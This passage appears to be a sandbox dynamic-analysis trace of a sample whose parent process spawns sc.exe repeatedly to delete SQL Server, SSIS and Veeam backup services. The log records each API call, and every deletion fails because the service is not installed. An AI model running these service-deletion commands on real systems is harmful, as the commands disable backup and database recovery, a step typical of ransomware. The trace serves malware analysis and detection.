AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0x9a8 [0064.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f870 | out: lpSystemTimeAsFileTime=0x16f870*(dwLowDateTime=0xe93835d0, dwHighDateTime=0x1d62701)) [0064.741] GetCurrentProcessId () returned 0x998 [0064.741] GetCurrentThreadId () returned 0x9a8 [0064.741] GetTickCount () returned 0x11474d3 [0064.741] QueryPerformanceCounter (in: lpPerformanceCount=0x16f878 | out: lpPerformanceCount=0x16f878*=18493955440) returned 1 [0064.742] GetModuleHandleW (lpModuleName=0x0) returned 0xfffb0000 [0064.742] __set_app_type (_Type=0x1) [0064.742] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb7228) returned 0x0 [0064.743] __wgetmainargs (in: _Argc=0xfffbb604, _Argv=0xfffbb610, _Env=0xfffbb608, _DoWildCard=0, _StartInfo=0xfffbb050 | out: _Argc=0xfffbb604, _Argv=0xfffbb610, _Env=0xfffbb608) returned 0 [0064.743] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.745] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.745] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.745] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.745] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.745] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.745] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.745] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.745] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.745] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.745] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.745] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.745] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.745] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.745] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.745] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.745] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.745] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.745] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.745] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.746] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.746] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.746] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.746] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.746] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x314370 [0064.750] OpenServiceW (hSCManager=0x314370, lpServiceName="SQLTELEMETRY", dwDesiredAccess=0x10000) returned 0x0 [0064.750] GetLastError () returned 0x424 [0064.750] _itow (in: _Dest=0x424, _Radix=1504984 | out: _Dest=0x424) returned="1060" [0064.750] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffbb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.752] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f690, nSize=0x2, Arguments=0x16f6c0 | out: lpBuffer="跀1") returned 0x62 [0064.752] GetFileType (hFile=0x120) returned 0x3 [0064.752] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x318ea0 [0064.752] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x318ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n1", lpUsedDefaultChar=0x0) returned 98 [0064.753] WriteFile (in: hFile=0x120, lpBuffer=0x318ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f638, lpOverlapped=0x0 | out: lpBuffer=0x318ea0*, lpNumberOfBytesWritten=0x16f638*=0x62, lpOverlapped=0x0) returned 1 [0064.753] LocalFree (hMem=0x318ea0) returned 0x0 [0064.753] LocalFree (hMem=0x318dc0) returned 0x0 [0064.753] LocalFree (hMem=0x0) returned 0x0 [0064.753] CloseServiceHandle (hSCObject=0x314370) returned 1 [0064.756] exit (_Code=1060) Thread: id = 33 os_tid = 0x9b8 Process: id = "17" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x388ff000" os_pid = "0x9c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MsDtsServer130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x9d8 [0064.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefd50 | out: lpSystemTimeAsFileTime=0xefd50*(dwLowDateTime=0xe9467e10, dwHighDateTime=0x1d62701)) [0064.924] GetCurrentProcessId () returned 0x9c8 [0064.924] GetCurrentThreadId () returned 0x9d8 [0064.924] GetTickCount () returned 0x1147530 [0064.924] QueryPerformanceCounter (in: lpPerformanceCount=0xefd58 | out: lpPerformanceCount=0xefd58*=18512217605) returned 1 [0064.925] GetModuleHandleW (lpModuleName=0x0) returned 0xff870000 [0064.925] __set_app_type (_Type=0x1) [0064.925] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff877228) returned 0x0 [0064.925] __wgetmainargs (in: _Argc=0xff87b604, _Argv=0xff87b610, _Env=0xff87b608, _DoWildCard=0, _StartInfo=0xff87b050 | out: _Argc=0xff87b604, _Argv=0xff87b610, _Env=0xff87b608) returned 0 [0064.926] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.927] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.930] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.930] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.930] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.930] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.930] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.930] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.930] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.930] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.930] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.930] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.930] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.931] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.931] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.931] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.931] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.931] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.931] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.931] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.931] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.931] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.931] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.931] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.931] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2643d0 [0064.936] OpenServiceW (hSCManager=0x2643d0, lpServiceName="MsDtsServer130", dwDesiredAccess=0x10000) returned 0x0 [0064.936] GetLastError () returned 0x424 [0064.937] _itow (in: _Dest=0x424, _Radix=981944 | out: _Dest=0x424) returned="1060" [0064.937] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff87b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.938] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xefb70, nSize=0x2, Arguments=0xefba0 | out: lpBuffer="趰&") returned 0x62 [0064.938] GetFileType (hFile=0x120) returned 0x3 [0064.938] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x268e90 [0064.939] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x268e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n&", lpUsedDefaultChar=0x0) returned 98 [0064.939] WriteFile (in: hFile=0x120, lpBuffer=0x268e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xefb18, lpOverlapped=0x0 | out: lpBuffer=0x268e90*, lpNumberOfBytesWritten=0xefb18*=0x62, lpOverlapped=0x0) returned 1 [0064.939] LocalFree (hMem=0x268e90) returned 0x0 [0064.939] LocalFree (hMem=0x268db0) returned 0x0 [0064.939] LocalFree (hMem=0x0) returned 0x0 [0064.939] CloseServiceHandle (hSCObject=0x2643d0) returned 1 [0064.943] exit (_Code=1060) Thread: id = 35 os_tid = 0x9ec Process: id = "18" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37004000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SSISTELEMETRY130" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xa0c [0064.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f9f0 | out: lpSystemTimeAsFileTime=0x20f9f0*(dwLowDateTime=0xe9500390, dwHighDateTime=0x1d62701)) [0064.997] GetCurrentProcessId () returned 0x9fc [0064.997] GetCurrentThreadId () returned 0xa0c [0064.997] GetTickCount () returned 0x114756f [0064.997] QueryPerformanceCounter (in: lpPerformanceCount=0x20f9f8 | out: lpPerformanceCount=0x20f9f8*=18519521003) returned 1 [0064.998] GetModuleHandleW (lpModuleName=0x0) returned 0xffa60000 [0064.998] __set_app_type (_Type=0x1) [0064.999] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa67228) returned 0x0 [0064.999] __wgetmainargs (in: _Argc=0xffa6b604, _Argv=0xffa6b610, _Env=0xffa6b608, _DoWildCard=0, _StartInfo=0xffa6b050 | out: _Argc=0xffa6b604, _Argv=0xffa6b610, _Env=0xffa6b608) returned 0 [0064.999] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.001] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.001] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.001] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.001] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.001] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.001] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.001] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.001] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.001] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.001] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.001] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.001] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.001] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.001] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.001] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.001] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.001] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.001] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.001] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.002] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.002] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.002] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.002] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.002] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3043d0 [0065.006] OpenServiceW (hSCManager=0x3043d0, lpServiceName="SSISTELEMETRY130", dwDesiredAccess=0x10000) returned 0x0 [0065.007] GetLastError () returned 0x424 [0065.007] _itow (in: _Dest=0x424, _Radix=2160728 | out: _Dest=0x424) returned="1060" [0065.007] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.008] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f810, nSize=0x2, Arguments=0x20f840 | out: lpBuffer="趰0") returned 0x62 [0065.009] GetFileType (hFile=0x120) returned 0x3 [0065.009] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308e90 [0065.009] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0065.009] WriteFile (in: hFile=0x120, lpBuffer=0x308e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f7b8, lpOverlapped=0x0 | out: lpBuffer=0x308e90*, lpNumberOfBytesWritten=0x20f7b8*=0x62, lpOverlapped=0x0) returned 1 [0065.009] LocalFree (hMem=0x308e90) returned 0x0 [0065.009] LocalFree (hMem=0x308db0) returned 0x0 [0065.009] LocalFree (hMem=0x0) returned 0x0 [0065.009] CloseServiceHandle (hSCObject=0x3043d0) returned 1 [0065.012] exit (_Code=1060) Thread: id = 37 os_tid = 0xa1c Process: id = "19" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3820b000" os_pid = "0xa20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SQLWriter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xa2c [0065.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f970 | out: lpSystemTimeAsFileTime=0x20f970*(dwLowDateTime=0xe95e4bd0, dwHighDateTime=0x1d62701)) [0065.146] GetCurrentProcessId () returned 0xa20 [0065.146] GetCurrentThreadId () returned 0xa2c [0065.146] GetTickCount () returned 0x11475cc [0065.146] QueryPerformanceCounter (in: lpPerformanceCount=0x20f978 | out: lpPerformanceCount=0x20f978*=18534453417) returned 1 [0065.147] GetModuleHandleW (lpModuleName=0x0) returned 0xff3c0000 [0065.147] __set_app_type (_Type=0x1) [0065.147] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3c7228) returned 0x0 [0065.147] __wgetmainargs (in: _Argc=0xff3cb604, _Argv=0xff3cb610, _Env=0xff3cb608, _DoWildCard=0, _StartInfo=0xff3cb050 | out: _Argc=0xff3cb604, _Argv=0xff3cb610, _Env=0xff3cb608) returned 0 [0065.148] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.151] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.151] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.151] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.151] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.151] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.151] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.151] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.151] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.151] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.151] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.151] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.151] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.151] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.151] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.151] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.151] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.151] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.151] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.151] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.152] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.152] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.152] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.152] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.152] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.152] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.152] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304370 [0065.155] OpenServiceW (hSCManager=0x304370, lpServiceName="SQLWriter", dwDesiredAccess=0x10000) returned 0x0 [0065.155] GetLastError () returned 0x424 [0065.156] _itow (in: _Dest=0x424, _Radix=2160600 | out: _Dest=0x424) returned="1060" [0065.156] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.157] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f790, nSize=0x2, Arguments=0x20f7c0 | out: lpBuffer="跀0") returned 0x62 [0065.158] GetFileType (hFile=0x120) returned 0x3 [0065.158] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308ea0 [0065.158] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0065.158] WriteFile (in: hFile=0x120, lpBuffer=0x308ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f738, lpOverlapped=0x0 | out: lpBuffer=0x308ea0*, lpNumberOfBytesWritten=0x20f738*=0x62, lpOverlapped=0x0) returned 1 [0065.158] LocalFree (hMem=0x308ea0) returned 0x0 [0065.158] LocalFree (hMem=0x308dc0) returned 0x0 [0065.158] LocalFree (hMem=0x0) returned 0x0 [0065.158] CloseServiceHandle (hSCObject=0x304370) returned 1 [0065.167] exit (_Code=1060) Thread: id = 39 os_tid = 0xaa0 Process: id = "20" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37510000" os_pid = "0x6f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"MSSQL$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 40 os_tid = 0xaf4 [0065.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f930 | out: lpSystemTimeAsFileTime=0x22f930*(dwLowDateTime=0xe96a32b0, dwHighDateTime=0x1d62701)) [0065.227] GetCurrentProcessId () returned 0x6f4 [0065.227] GetCurrentThreadId () returned 0xaf4 [0065.227] GetTickCount () returned 0x114761a [0065.227] QueryPerformanceCounter (in: lpPerformanceCount=0x22f938 | out: lpPerformanceCount=0x22f938*=18542513540) returned 1 [0065.228] GetModuleHandleW (lpModuleName=0x0) returned 0xff110000 [0065.228] __set_app_type (_Type=0x1) [0065.228] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff117228) returned 0x0 [0065.228] __wgetmainargs (in: _Argc=0xff11b604, _Argv=0xff11b610, _Env=0xff11b608, _DoWildCard=0, _StartInfo=0xff11b050 | out: _Argc=0xff11b604, _Argv=0xff11b610, _Env=0xff11b608) returned 0 [0065.229] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.232] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.233] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.233] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.233] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.233] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.233] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.233] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.233] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.233] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.233] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.233] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.233] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.233] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.233] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.233] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.233] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.233] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.233] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.233] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.233] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.233] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.233] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4243e0 [0065.238] OpenServiceW (hSCManager=0x4243e0, lpServiceName="MSSQL$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0065.238] GetLastError () returned 0x424 [0065.238] _itow (in: _Dest=0x424, _Radix=2291608 | out: _Dest=0x424) returned="1060" [0065.238] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff11b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.240] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f750, nSize=0x2, Arguments=0x22f780 | out: lpBuffer="跀B") returned 0x62 [0065.240] GetFileType (hFile=0x120) returned 0x3 [0065.240] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x428ea0 [0065.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x428ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 